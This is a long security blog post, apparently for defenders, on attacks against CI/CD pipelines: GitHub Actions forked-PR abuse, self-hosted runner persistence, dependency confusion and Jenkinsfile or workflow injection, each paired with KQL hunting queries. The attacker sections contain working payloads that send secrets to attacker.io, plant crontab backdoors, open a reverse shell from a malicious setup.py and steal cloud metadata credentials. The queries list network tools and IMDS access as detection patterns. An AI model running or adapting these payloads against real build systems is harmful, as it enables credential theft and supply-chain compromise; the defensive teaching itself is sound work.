Skip to main content

CI/CD Pipeline Compromise: How Attackers Turn Your Build System Into a Persistent Backdoor Into Production

· 40 min read
Inference Defense
Threat Intelligence & Detection Engineering

Your software supply chain is already inside your network perimeter. Every time a developer pushes a commit, your CI/CD pipeline authenticates to your cloud provider, pulls secrets from your vault, builds and signs artifacts, and pushes code directly to production all without a human approving a single step. Attackers figured this out in 2020 with SolarWinds, refined it through the Codecov breach in 2021, operationalized it at scale with the 3CX and XZ Utils compromises in 2023–2024, and in August 2025, UNC6395 used it to compromise Drift's GitHub account, steal OAuth tokens, and gain access to hundreds of organizations' Salesforce environments without ever touching a single victim's network directly. The attack surface is not a misconfiguration you can patch. It is the pipeline itself.


This post covers five attack classes that every red teamer is actively using and that most detection stacks are completely blind to: forked PR secret exfiltration from GitHub Actions, self-hosted runner persistence and lateral movement, dependency confusion and malicious package injection, pipeline-as-code injection via Jenkinsfile and workflow YAML, and OIDC federation abuse to move from CI/CD directly into cloud environments without credential theft. For each technique you will get the exact attacker commands, what the logs look like, and working KQL or SPL queries to hunt for them. By the end, you will understand exactly why your SAST scanner, your SCA tool, and your branch protection rules are not stopping any of this.


Section 1: GitHub Actions Secret Exfiltration How a Single Forked PR Empties Your Vault

GitHub Actions secrets appear to be safely scoped: repository secrets are encrypted at rest, transmitted over TLS, and masked in logs. What most teams don't fully internalize is that secrets are not a property of a repository they are a property of a workflow execution context, and that context is partly controlled by whoever submits code that triggers it. The attack vector is the pull_request_target event, introduced to allow workflows to access secrets when triggered by pull requests from forks. Unlike pull_request, which runs the untrusted fork's code in a sandboxed context without secrets, pull_request_target runs in the context of the base repository with full access to secrets but executes the code from the fork if the workflow explicitly checks out the PR head. This is the combination that kills you.

The workflow below is the pattern that gets organizations breached. It looks like a reasonable "comment the test coverage on PRs" workflow:

# .github/workflows/comment-coverage.yml
on:
pull_request_target: # <-- runs in base repo context = has secrets
types: [opened, synchronize]

jobs:
coverage:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }} # <-- checks out FORK code
- run: npm install && npm test # <-- executes attacker code
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} # <-- secrets exposed
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

An attacker forks this repository, adds a single line to package.json's test script, opens a PR, and the secrets are exfiltrated before any human reviews anything. The masking in logs only hides the value in echo statements the secret is fully available to the running process.

Attack Flow

Attacker Perspective: The Malicious Package Script

# Attacker modifies package.json to include a pretest hook
# This executes before the legitimate tests, exfiltrating secrets

# package.json test section (malicious):
# "scripts": {
# "pretest": "node -e \"require('https').get('https://attacker.io/collect?k='+process.env.AWS_ACCESS_KEY_ID+'&s='+process.env.AWS_SECRET_ACCESS_KEY)\"",
# "test": "jest"
# }

# Alternatively, inject directly into a test file that already exists:
# Attacker adds this to the top of any existing .test.js file:

const https = require('https');

// Collect all environment variables (captures ALL secrets, not just AWS)
const secrets = Object.entries(process.env)
.filter(([k]) => /token|key|secret|password|api|pw|credential/i.test(k))
.map(([k, v]) => `${k}=${v}`)
.join('&');

// Exfiltrate via DNS (bypasses HTTP egress blocks) using nslookup
// Each DNS lookup encodes ~60 chars of data in the subdomain
const { execSync } = require('child_process');
const encoded = Buffer.from(secrets).toString('hex');
for (let i = 0; i < encoded.length; i += 60) {
try {
// DNS-based exfil: attacker controls attacker.io and logs all DNS queries
execSync(`nslookup ${encoded.slice(i, i+60)}.attacker.io`);
} catch(e) {}
}

Defender Perspective: Detection Queries

The GitHub Audit Log streams to your SIEM if you have GitHub Enterprise with audit log streaming configured. If you don't have streaming set up, you are already blind to this. Assuming you do:

// KQL  Detect pull_request_target workflow triggered by external fork
// Source: GitHub Audit Log forwarded to Sentinel or Elastic
// Table name varies by connector; adjust to your GitHub audit log table

GitHubAuditLog
| where TimeGenerated > ago(7d)
// Focus on workflow run events
| where Action == "workflows.completed_workflow_run"
| extend EventData = parse_json(Data)
// pull_request_target is the dangerous event type
| where EventData.event == "pull_request_target"
// Only alert when the triggering actor is NOT an org member
// This requires joining against your org member list
| extend TriggeringActor = tostring(EventData.triggering_actor.login)
| extend HeadRepo = tostring(EventData.head_repository.full_name)
| extend BaseRepo = tostring(EventData.repository.full_name)
// Fork detection: head and base repos differ
| where HeadRepo != BaseRepo
| extend WorkflowPath = tostring(EventData.path)
| project TimeGenerated, TriggeringActor, HeadRepo, BaseRepo, WorkflowPath,
EventData.conclusion, EventData.run_id
| order by TimeGenerated desc
// KQL  Hunt for workflows that check out PR HEAD inside pull_request_target
// This requires parsing workflow YAML files do this via GitHub API integration
// or by alerting on git pushes that modify workflow files with this pattern

GitHubAuditLog
| where Action in ("git.push", "repo.contents.commit")
| extend ChangedFiles = parse_json(Data).modified_files
| mv-expand ChangedFiles
| where tostring(ChangedFiles) startswith ".github/workflows/"
| extend CommitSHA = tostring(parse_json(Data).sha)
| extend PushedBy = tostring(parse_json(Data).actor)
// Flag any workflow modification review all of these manually
// The real detection is static analysis of the YAML content, not just the push
| project TimeGenerated, PushedBy, ChangedFiles, CommitSHA
| order by TimeGenerated desc

Secret Exposure Risk by GitHub Event Type

Trigger EventRuns Fork CodeHas SecretsRisk LevelObserved in Breaches
pull_request_target + checkout PR HEADYesYesCriticalPWA-GitHub (2022), multiple 2024 campaigns
pull_request_target (no checkout)NoYesLowN/A safe if no fork code runs
pull_requestYesNoLowN/A sandbox prevents secret access
workflow_run (triggered by PR)Depends on triggerYesHighGitHub token exposure campaigns 2023
push to default branchNo (direct push)YesMediumInsider threat / compromised dev account
scheduleNoYesLowN/A no external trigger

The exfiltration works even when secrets are masked in logs because masking is a log-rendering filter, not an access control. The secret value is fully accessible to the running process through process.env masking just replaces it with *** when GitHub renders the log output. The process that exfils it never prints it to stdout, so masking never triggers.

The deeper implication here: your secret is gone before the PR is even reviewed. Branch protection rules, required approvals, and CODEOWNER files protect code going into your main branch, not code that executes against your secrets during a CI check. The next question is what happens when the attacker doesn't bother with a fork at all and instead targets the runner itself directly.


Section 2: Self-Hosted Runner Compromise Why Your Jenkins Agent Is a Privileged Lateral Movement Platform

Self-hosted runners and Jenkins agents are the most underdefended systems in most enterprise environments. They have network access to artifact registries, container registries, signing infrastructure, cloud provider APIs, and often internal databases and APIs needed for integration tests. They run as a service account frequently with elevated local privileges and that service account is the same across every job that runs on the agent. When a runner picks up a malicious job, it doesn't matter that the job is sandboxed at the pipeline level: the process runs on metal (or a VM) with the runner's OS-level permissions, and those permissions are the attack surface.

The persistence mechanism is subtle. GitHub's self-hosted runners re-register after reboots using a PAT or app installation token, but the workspace directory persists between jobs. An attacker who gets code execution in a job can plant files in the workspace, modify the runner's configuration, or install a cronjob/systemd unit. Jenkins agents are worse: by default, the agent process runs as whatever OS user the JNLP connector was launched as, workspaces are shared between pipelines unless explicitly scoped, and @NonCPS Groovy closures in Jenkinsfiles bypass Groovy sandbox restrictions for certain operations.

The attack chain from "get a job to run on a self-hosted runner" to "own the runner host and pivot to production" takes less than five minutes.

Attack Flow

Attacker Perspective: Runner Backdoor and Lateral Movement

# ---- PHASE 1: Persistence in a GitHub Actions self-hosted runner ----
# This runs as a step inside a malicious (or compromised) workflow job

# Step 1: Identify the runner environment and available credentials
id # What user am I running as?
cat /proc/self/environ | tr '\\0' '\n' # Dump all env vars including injected secrets
cat ~/.aws/credentials 2>/dev/null # Pre-configured AWS credential files
ls /run/secrets/ 2>/dev/null # Docker/Swarm secret mounts
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null # K8s SA token

# Step 2: Steal the IMDS token (works on EC2, GCP, Azure VMs hosting runners)
# AWS IMDS v1 (no token required huge misconfiguration still common)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name then:
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
CREDS=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE)
# CREDS now contains AccessKeyId, SecretAccessKey, Token exfiltrate these

# Step 3: Plant a persistent backdoor in the shared workspace
# GitHub Actions runners reuse _work/ directory between jobs on same runner
WORKSPACE_ROOT="${GITHUB_WORKSPACE%/*/*}" # Navigate up to runner root
cat > "${WORKSPACE_ROOT}/.runner_hook.sh" << 'EOF'
#!/bin/bash
# This script is sourced by subsequent jobs if an attacker can modify
# runner hook paths or more simply, plants in a shared cache location
# Real persistence: modify runner's .env or use cron
(curl -s https://attacker.io/beacon?host=$(hostname)&user=$(id -u) &)
# Exfil any secrets from the current job environment
printenv | grep -iE 'token|key|secret|password|api' | \
curl -s --data-binary @- https://attacker.io/collect
EOF
chmod +x "${WORKSPACE_ROOT}/.runner_hook.sh"

# Step 4: Inject into Docker layer cache (poisons future builds on same host)
# If the runner has Docker socket access (extremely common for build runners):
ls /var/run/docker.sock && echo "Docker socket accessible full host takeover possible"

# Create a backdoored base image layer that persists across all future builds
# that use this image as a base on this runner's cache:
docker build -t ubuntu:22.04 - << 'DOCKERFILE'
FROM ubuntu:22.04
# This overwrites the local cache of ubuntu:22.04 all future builds
# using this base image on THIS runner will include the backdoor layer
RUN echo '*/5 * * * * root curl -s https://attacker.io/shell | bash' >> /etc/crontab
DOCKERFILE

# ---- PHASE 2: Jenkins-specific exploitation ----
# If the pipeline is Jenkins, the Jenkinsfile itself can do all of this
# Jenkins Groovy script console is often exposed internally test for it:
curl -u admin:admin http://jenkins.internal:8080/script \
--data 'script=println("id".execute().text)'
// Malicious Jenkinsfile  attacker submits PR with this content
// The @NonCPS annotation bypasses Groovy sandbox for method calls
// Jenkins evaluates Jenkinsfile with the privileges of the Jenkins service account

pipeline {
agent any // Runs on ANY available agent attacker doesn't need a specific one
stages {
stage('Build') {
steps {
script {
// Extract all Jenkins credentials stored in the credential store
// This uses the Jenkins credentials binding API no special permissions needed
// if the pipeline has credential access (which most do by default)
withCredentials([
string(credentialsId: 'aws-access-key', variable: 'AWS_KEY'),
string(credentialsId: 'aws-secret', variable: 'AWS_SECRET'),
string(credentialsId: 'dockerhub-token', variable: 'DH_TOKEN'),
sshUserPrivateKey(credentialsId: 'deploy-key', keyFileVariable: 'SSH_KEY')
]) {
// Exfil all credentials Jenkins masks them in UI but process sees plaintext
sh """
curl -s -X POST https://attacker.io/collect \
-d "aws_key=${AWS_KEY}&aws_secret=${AWS_SECRET}&dh=${DH_TOKEN}"
# Also exfil the SSH deploy key file
base64 \${SSH_KEY} | curl -s --data-binary @- https://attacker.io/sshkey
"""
}
}
}
}
}
}

Defender Perspective: Runner Host Detection

// KQL  Detect suspicious process execution on CI runner hosts
// Tag your runner hosts in your asset inventory with a "ci_runner" role tag
// This query assumes Defender for Endpoint or Sysmon telemetry forwarded to Sentinel

DeviceProcessEvents
| where TimeGenerated > ago(1d)
// Filter to known runner hosts (maintain this list in a Watchlist)
| where DeviceName in (toscalar(
_GetWatchlist('CIRunnerHosts')
| summarize make_list(SearchKey)
))
// The runner process is the parent child processes should be build tools only
// Flag anything spawning shells, network tools, or credential-touching processes
| where InitiatingProcessFileName in~ ("runner.worker.exe", "runner.listener.exe",
"java.exe", "agent.jar", "node")
// These child processes are anomalous on a build runner
| where FileName in~ ("curl", "wget", "nc", "ncat", "python3", "python",
"bash", "sh", "powershell.exe", "cmd.exe", "certutil.exe")
or (FileName =~ "docker" and ProcessCommandLine contains "socket")
or ProcessCommandLine contains "/etc/crontab"
or ProcessCommandLine contains "169.254.169.254" // IMDS access
or ProcessCommandLine matches regex @"curl.*https?://[^.]+\.[^/]+/[^/]*secret|key|token"
| project TimeGenerated, DeviceName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AccountName, FolderPath
| order by TimeGenerated desc
// KQL  Detect Docker socket access from CI runner processes
// Critical: Docker socket = root on host

DeviceNetworkEvents
| where TimeGenerated > ago(1d)
| where DeviceName in (toscalar(_GetWatchlist('CIRunnerHosts') | summarize make_list(SearchKey)))
// Connections to external IPs from runner processes
| where InitiatingProcessFileName in~ ("runner.worker.exe", "java.exe", "node", "bash", "sh")
// Exclude known legitimate registries and GitHub endpoints
| where RemoteUrl !has "github.com"
and RemoteUrl !has "ghcr.io"
and RemoteUrl !has "amazonaws.com"
and RemoteUrl !has "docker.io"
and RemoteUrl !has "npmjs.org"
and RemoteIPType != "Private" // Flag only external connections
| project TimeGenerated, DeviceName, RemoteUrl, RemoteIP, RemotePort,
InitiatingProcessCommandLine, AccountName
| order by TimeGenerated desc

Self-Hosted vs GitHub-Hosted vs Enterprise Runner Risk Comparison

Runner TypePersistence RiskCredential ScopeNetwork AccessAttack CostUsed in Observed Breaches
GitHub-hosted (ubuntu-latest)None ephemeral VM per jobJob-scoped secrets onlyEgress unrestrictedLow any PR triggerPWA (2022), dependency chain attacks
Self-hosted, persistent VMHigh files survive between jobsSA creds + IMDS + mounted secretsFull internal networkLow once job runsUNC6395 Drift (2025), Codecov (2021)
Self-hosted, ephemeral (Kubernetes pod)Low pod destroyed after jobSA creds at pod levelVaries by NetworkPolicyMediumCircleCI breach (2023)
Jenkins agent (JNLP, persistent)High agent service persistsAll credentials in credential storeFull internal networkLow Jenkinsfile accessMultiple 2024 enterprise intrusions
Jenkins agent (Docker-based, ephemeral)Medium Docker layer cacheCredentials bound at runtimeHost network if --net=hostMediumLess common but demonstrated

Owning a self-hosted runner gives an attacker everything that runner can reach which in most environments is more than the developer laptops it runs jobs for. The next attack class doesn't even require the attacker to get a job onto your runner; instead, they poison what your runner pulls at dependency install time.


Section 3: Dependency Confusion and Malicious Package Injection How Your npm install Becomes an RCE

Dependency confusion is not a vulnerability in a specific package it is a systematic flaw in how package manager resolution works when private registries are configured alongside public ones. When npm, pip, or nuget is configured to check both a private registry (Artifactory, Nexus, Azure Artifacts) and the public registry (npmjs.org, PyPI), the resolution algorithm in most configurations prefers the package with the higher version number, regardless of which registry it came from. An attacker who knows the name of one of your internal packages (obtainable from package.json files in public repos, job postings, error messages, or just employee laptops) can publish a package with that exact name to the public registry at version 9.9.9 and your build will pull it instead of your internal one with no warning, no error, and no human approval.

Typosquatting is the complementary attack: publish requet when the target uses request, colorama_ when they use colorama, colourama for the same. Maintainer account takeover is the third variant and the hardest to detect: compromise the account of a popular package's maintainer (via credential stuffing, phishing, or expired email domain reregistration), publish a new version with a malicious install hook, and every downstream user of that package gets backdoored on the next npm install. This is how event-stream was hijacked in 2018, how ua-parser-js was compromised in 2021, and how xz-utils was backdoored in 2024 a two-year social engineering operation against a maintainer.

Attack Flow

Attacker Perspective: Malicious Package Construction

# malicious_package/setup.py
# This is a fully functional dependency confusion payload
# Published to PyPI as "mycompany-internal-utils" at version 9.9.9
# Target: any org that has an internal package with this name

import os
import sys
import socket
import platform
import subprocess
from setuptools import setup
from setuptools.command.install import install


class MaliciousInstall(install):
"""
Override the standard install command.
This runs at `pip install` time BEFORE any code review,
before the package is imported, just by being installed.
Runs as whatever user/SA executed pip.
"""
def run(self):
# Collect environment fingerprint
hostname = socket.gethostname()
user = os.environ.get('USER', os.environ.get('USERNAME', 'unknown'))
platform_info = platform.platform()

# Harvest CI/CD specific environment variables
# These are set by GitHub Actions, Jenkins, CircleCI, GitLab, etc.
ci_vars = {k: v for k, v in os.environ.items()
if any(k.startswith(p) for p in [
'GITHUB_', 'CIRCLE', 'TRAVIS', 'CI', 'BUILD_',
'AWS_', 'AZURE_', 'GCP_', 'GOOGLE_',
'NPM_TOKEN', 'PYPI_TOKEN', 'ARTIFACTORY',
'DOCKER_', 'KUBECONFIG', 'HELM_'
])}

# Check for cloud IMDS try AWS, then GCP, then Azure
imds_creds = None
try:
import urllib.request
# AWS IMDSv1 no authentication required
req = urllib.request.urlopen(
'http://169.254.169.254/latest/meta-data/iam/security-credentials/',
timeout=2
)
role = req.read().decode()
creds_req = urllib.request.urlopen(
f'http://169.254.169.254/latest/meta-data/iam/security-credentials/{role}',
timeout=2
)
imds_creds = creds_req.read().decode()
except Exception:
pass

# Exfiltrate via DNS (avoids HTTP egress monitoring)
# Encode payload as hex, send as DNS A record lookups
payload = str({'ci': ci_vars, 'host': hostname, 'user': user,
'platform': platform_info, 'imds': imds_creds})
encoded = payload.encode().hex()

# Split into 63-char chunks (max DNS label length)
chunks = [encoded[i:i+63] for i in range(0, min(len(encoded), 500), 63)]
for i, chunk in enumerate(chunks):
try:
# Attacker controls attacker.io nameserver and logs all queries
socket.getaddrinfo(f'{i}.{chunk}.d.attacker.io', 53)
except Exception:
pass

# Also attempt a reverse shell if outbound TCP is allowed
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(('attacker.io', 443)) # Port 443 usually allowed through egress
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(['/bin/sh', '-i'])
except Exception:
pass

# Continue normal install so nothing looks broken
install.run(self)


setup(
name='mycompany-internal-utils', # Target's actual internal package name
version='9.9.9', # Higher than any internal version
description='Internal utilities', # Mimics internal package description
cmdclass={'install': MaliciousInstall},
packages=[],
)
// Malicious package.json for npm-based attack
// The "preinstall" / "postinstall" hook runs at `npm install` time
// No import required just installing the package triggers the payload

{
"name": "mycompany-design-system",
"version": "9.9.9",
"description": "Design system components",
"scripts": {
"preinstall": "node -e \"const h=require('https');const e=Object.entries(process.env).filter(([k])=>/token|key|secret|aws|gcp|azure|docker|npm/i.test(k)).map(([k,v])=>k+'='+v).join('\\n');h.request({hostname:'attacker.io',path:'/c',method:'POST',headers:{'Content-Length':Buffer.byteLength(e)}},r=>{}).end(e)\""
},
"main": "index.js"
}

Defender Perspective: Detection Queries

// KQL  Detect packages installed from public registry that match internal package names
// Requires: pip/npm audit logs forwarded to SIEM, or Artifactory/Nexus access logs
// This query uses Artifactory audit logs (Xray integration recommended)

ArtifactoryAccess
| where TimeGenerated > ago(1d)
| where RequestType == "DOWNLOAD"
// Build your internal package name list as a Watchlist
| where PackageName in (toscalar(
_GetWatchlist('InternalPackageNames')
| summarize make_list(PackageName)
))
// Flag downloads from public repos (configured as "remote" repos in Artifactory)
| where RepositoryType == "remote" // "remote" = proxied from public registry
and RepositoryName in ("npmjs-remote", "pypi-remote", "nuget-remote")
// Compare version to known highest internal version
| join kind=leftouter (
ArtifactoryAccess
| where RepositoryType == "local" // "local" = internal artifact
| summarize MaxInternalVersion = max(PackageVersion) by PackageName
) on PackageName
| where PackageVersion > MaxInternalVersion // External version is higher = confusion attack
| project TimeGenerated, PackageName, PackageVersion, MaxInternalVersion,
RepositoryName, RequestedBy, ClientIP
| order by TimeGenerated desc
// KQL  Detect suspicious process spawning during package installation
// pip/npm spawn child processes; malicious hooks spawn unexpected children

DeviceProcessEvents
| where TimeGenerated > ago(1d)
// npm and pip installation processes
| where InitiatingProcessFileName in~ ("node", "python", "python3", "pip", "pip3", "npm")
and InitiatingProcessCommandLine has_any ("install", "setup.py")
// Flag unexpected child processes that should never spawn during a package install
| where FileName in~ ("curl", "wget", "nc", "bash", "sh", "powershell.exe",
"certutil.exe", "mshta.exe", "wscript.exe", "cscript.exe")
or ProcessCommandLine contains "169.254.169.254"
or ProcessCommandLine matches regex @"base64\s+-d|base64\s+--decode"
or ProcessCommandLine has "/dev/tcp/" // Bash TCP redirect for reverse shell
// Exclude known legitimate patterns (postinstall scripts that run make, gcc, node-gyp)
| where FileName !in~ ("make", "gcc", "g++", "node-gyp", "python3", "node")
| project TimeGenerated, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by TimeGenerated desc

Dependency Attack Variant Comparison

Attack TypeAttacker PrerequisiteTarget Required KnowledgeDetection DifficultyReal-World Example
Dependency ConfusionInternal package name onlyNone version algo does the workHigh no malicious URL, valid registryAlex Birsan (2021) 35 companies, $130k in bug bounties
TyposquattingCommon package name, victim makes a typoNone waits for organic installationHigh looks like a real packagecolourama (2017), event-stream stealer (2018)
Maintainer Account TakeoverAccess to maintainer's accountUnderstanding of target's dep treeVery High comes from legitimate accountua-parser-js (2021), xz-utils (2024)
Direct Registry CompromiseAccess to private registry (Artifactory/Nexus)Full internal package listVery High internal traffic onlyCircleCI (2023) internal config exfil
CI Cache PoisoningCode exec on runner with shared cacheNone passive persistenceExtreme artifacts look legitimateTheoretical, demonstrated in research 2024

The malicious code executes at install time, before any linter, SAST scanner, or code review process sees it. Your SCA tool identifies known-bad packages via CVE databases and hash matching a new malicious package published today has no CVE and no hash entry. The only reliable controls are registry isolation, hash pinning, and integrity verification of installed packages, which brings us to the next attack class: what happens when the attacker doesn't need to poison a package at all, because they can just modify the pipeline definition file itself.


Section 4: Pipeline-as-Code Injection How a Modified Jenkinsfile or Workflow YAML Becomes Persistent Production Access

The pipeline definition file Jenkinsfile, .github/workflows/*.yml, .gitlab-ci.yml, azure-pipelines.yml is simultaneously the most privileged file in your repository and the least scrutinized in code review. It defines what runs on your CI infrastructure with access to production credentials, but reviewers focus on application code. More critically: in many configurations, the pipeline file change takes effect immediately on the next triggered build, without requiring a deployment or release process. An attacker who can merge a change to your pipeline file through a compromised developer account, a branch protection misconfiguration, or a poisoned dependency that modifies it has persistent code execution in your highest-privilege build context.

The specific mechanisms vary by platform but share a common pattern: the pipeline file is parsed by a privileged service (Jenkins controller, GitHub Actions engine) that has access to all credentials, and the file specifies what arbitrary shell commands run. The security boundary between "application code" and "pipeline infrastructure code" is a policy distinction, not a technical one. Most branch protection configurations that require PR reviews apply to all files equally including the pipeline definition. But there are systematic bypasses.

In GitHub Actions, the paths-ignore filter in branch protection rules can exclude .github/workflows/ from required review, either by misconfiguration or by explicit design (to allow rapid CI changes). In Jenkins, the Jenkinsfile is fetched from the branch being built a feature branch's Jenkinsfile runs with the same agent and credential access as the main branch's, even if the feature branch has no review requirement. GitLab's include directive allows importing pipeline definitions from external URLs or other projects, creating a transitive dependency on those external pipelines' security.

Attack Flow

Attacker Perspective: Injecting into Pipeline Definitions

# Attacker's modified .github/workflows/deploy.yml
# Change is minimal to avoid detection adds one step to an existing workflow
# Original workflow is preserved; only a "diagnostic" step is added

name: Deploy to Production

on:
push:
branches: [main]

jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3

# === ORIGINAL STEPS (unchanged reviewers focus here) ===
- name: Build application
run: npm ci && npm run build

- name: Run tests
run: npm test

# === INJECTED STEP appears legitimate ===
- name: Collect deployment diagnostics
# Looks like observability tooling; name is deliberately benign
env:
# Attacker requests secrets that weren't in the original workflow
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
SIGNING_KEY: ${{ secrets.ARTIFACT_SIGNING_KEY }}
run: |
# Real exfil disguised as a diagnostic script
# The script is fetched remotely so static analysis of the YAML won't catch it
curl -s https://diagnostics.attacker.io/collect.sh | bash
# Alternative: encode the payload in base64 inline
# echo "Y3VybCAtcyBodHRwczovL2F0dGFja2VyLmlvL2MgLWQgIiQoZW52KSI=" | base64 -d | bash

# === ORIGINAL STEPS (continued) ===
- name: Deploy to production
run: ./deploy.sh
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
// Attacker's modified Jenkinsfile (minimal change)
// Injected into a feature branch that runs against the same agents as main
// The `withCredentials` block is normal Jenkinsfile syntax reviewers expect it

pipeline {
agent { label 'production-agent' } // Attacker specifies the privileged agent

stages {
stage('Build') {
steps {
sh 'mvn clean package -DskipTests'
}
}

// INJECTED STAGE named to look like observability
stage('Telemetry Collection') {
steps {
withCredentials([
// Request every credential available in this pipeline's scope
string(credentialsId: 'aws-prod-access-key', variable: 'AWS_KEY'),
string(credentialsId: 'aws-prod-secret', variable: 'AWS_SEC'),
string(credentialsId: 'sonar-token', variable: 'SONAR'),
sshUserPrivateKey(credentialsId: 'prod-deploy-key',
keyFileVariable: 'DEPLOY_KEY',
usernameVariable: 'DEPLOY_USER'),
usernamePassword(credentialsId: 'nexus-credentials',
usernameVariable: 'NEXUS_USER',
passwordVariable: 'NEXUS_PASS')
]) {
sh '''
# Exfil all harvested credentials
curl -s -X POST https://attacker.io/jenkins-collect \
-F "aws_key=${AWS_KEY}" \
-F "aws_sec=${AWS_SEC}" \
-F "nexus=${NEXUS_USER}:${NEXUS_PASS}" \
-F "sonar=${SONAR}"
# Exfil SSH deploy key
base64 ${DEPLOY_KEY} | curl -s --data-binary @- https://attacker.io/sshkey
'''
}
}
}

stage('Deploy') {
steps {
sh './deploy.sh'
}
}
}
}
# Python script to enumerate GitHub branch protection rules and find weaknesses
# This is reconnaissance an attacker runs before deciding on their injection vector
# Requires: GitHub PAT with repo scope (or leaked token)

import requests
import json

# Configuration
ORG = "targetorg"
REPO = "target-repo"
TOKEN = "ghp_xxxxxxxxxxxx" # Attacker's obtained PAT

headers = {
"Authorization": f"Bearer {TOKEN}",
"Accept": "application/vnd.github.v3+json"
}

# Step 1: Enumerate branch protection rules on all branches
branches_resp = requests.get(
f"https://api.github.com/repos/{ORG}/{REPO}/branches",
headers=headers
)
branches = branches_resp.json()

for branch in branches:
branch_name = branch['name']
protection_resp = requests.get(
f"https://api.github.com/repos/{ORG}/{REPO}/branches/{branch_name}/protection",
headers=headers
)

if protection_resp.status_code == 200:
protection = protection_resp.json()
required_reviews = protection.get('required_pull_request_reviews', {})
# Check if pushes are allowed without PR (attacker can push directly)
restrictions = protection.get('restrictions', None)

# Check if CI config files are excluded from required review paths
required_contexts = protection.get('required_status_checks', {}).get('contexts', [])

print(f"Branch: {branch_name}")
print(f" Required reviewers: {required_reviews.get('required_approving_review_count', 0)}")
print(f" Push restrictions: {'Yes' if restrictions else 'No anyone can push'}")
print(f" Required checks: {required_contexts}")

# Flag if branch allows admin bypass (very common)
enforce_admins = protection.get('enforce_admins', {}).get('enabled', False)
if not enforce_admins:
print(f" ⚠️ ADMINS CAN BYPASS PROTECTION {branch_name}")

elif protection_resp.status_code == 404:
print(f"Branch: {branch_name} NO PROTECTION (direct push allowed)")

# Step 2: Check if .github/workflows/ is in any required review path filter
# If it's in paths-ignore, workflow changes don't require review
rulesets_resp = requests.get(
f"https://api.github.com/repos/{ORG}/{REPO}/rulesets",
headers=headers
)
if rulesets_resp.status_code == 200:
for ruleset in rulesets_resp.json():
print(f"\nRuleset: {ruleset['name']}")
print(f" Conditions: {json.dumps(ruleset.get('conditions', {}), indent=2)}")

Defender Perspective: Pipeline File Change Detection

// KQL  Alert on any modification to pipeline definition files
// Critical: these changes should ALWAYS go through mandatory review

GitHubAuditLog
| where TimeGenerated > ago(1d)
| where Action in ("git.push", "protected_branch.policy_override",
"repo.contents.commit")
| extend Data = parse_json(Data)
| extend ChangedFiles = Data.modified_files
| mv-expand ChangedFiles
| extend FileName = tostring(ChangedFiles)
// Match any pipeline configuration file regardless of platform
| where FileName matches regex @"(\.github/workflows/.*\.ya?ml|Jenkinsfile.*|\.gitlab-ci\.ya?ml|azure-pipelines\.ya?ml|\.circleci/config\.ya?ml|bitbucket-pipelines\.ya?ml)"
| extend Pusher = tostring(Data.actor)
| extend Branch = tostring(Data.ref)
| extend CommitSHA = tostring(Data.sha)
// Flag pushes to protected branches that bypass required reviews
| extend BypassedProtection = tobool(Data.bypassed_protection)
| project TimeGenerated, Pusher, Branch, FileName, CommitSHA, BypassedProtection
| order by TimeGenerated desc
// KQL  Detect unusual credential access patterns during CI pipeline runs
// Cross-reference: which secrets were accessed by which pipeline and which branch?
// Requires: Azure Key Vault diagnostic logs + GitHub Actions audit log correlation

AzureDiagnostics
| where ResourceType == "VAULTS" and OperationName == "SecretGet"
| where TimeGenerated > ago(1d)
// Filter to requests coming from CI infrastructure (service principal or runner IP range)
| where CallerIPAddress in (toscalar(_GetWatchlist('CIRunnerIPRanges') | summarize make_list(IP)))
// Identify the service principal used
| extend CallerObjectId = tostring(parse_json(identity_claim_oid_g))
// Correlate with GitHub audit log to find which workflow job requested these secrets
| join kind=inner (
GitHubAuditLog
| where Action == "workflows.completed_workflow_run"
| extend WorkflowData = parse_json(Data)
| project WorkflowStartTime = TimeGenerated,
Branch = tostring(WorkflowData.head_branch),
CommitSHA = tostring(WorkflowData.head_sha),
WorkflowPath = tostring(WorkflowData.path),
Conclusion = tostring(WorkflowData.conclusion)
) on $left.TimeGenerated between (WorkflowStartTime .. WorkflowStartTime + 30m)
// Alert if secrets were accessed by a workflow running on a non-main branch
| where Branch !in ("main", "master", "release")
| project TimeGenerated, Branch, CommitSHA, WorkflowPath, SecretName = ResourceId,
CallerIPAddress, Conclusion
| order by TimeGenerated desc

Pipeline-as-Code Injection Attack Surface by Platform

PlatformPipeline FileRuns Feature Branch Pipeline?Default Secret ScopeBypass for Required ReviewLogged in Audit Log
GitHub Actions.github/workflows/*.ymlYes each branch's own workflowRepository + org secretspaths-ignore misconfiguration; admin bypassYes (GH Enterprise)
JenkinsJenkinsfileYes builds the branch's JenkinsfileAll credentials in credential storeNo branch protection in Jenkins itselfPartial Jenkins build log
GitLab CI.gitlab-ci.ymlYes MR pipeline uses branch fileCI/CD variables scoped to projectProtected branch rules; include: transitiveYes (GitLab audit events)
Azure DevOpsazure-pipelines.ymlYes PR validates branch pipelineVariable groups + Azure Key VaultPipeline permission bypass via templatesYes (ADO audit log)
CircleCI.circleci/config.ymlYes orb/config from branchContext variables (org-scoped)No approval gates on config changes by defaultLimited

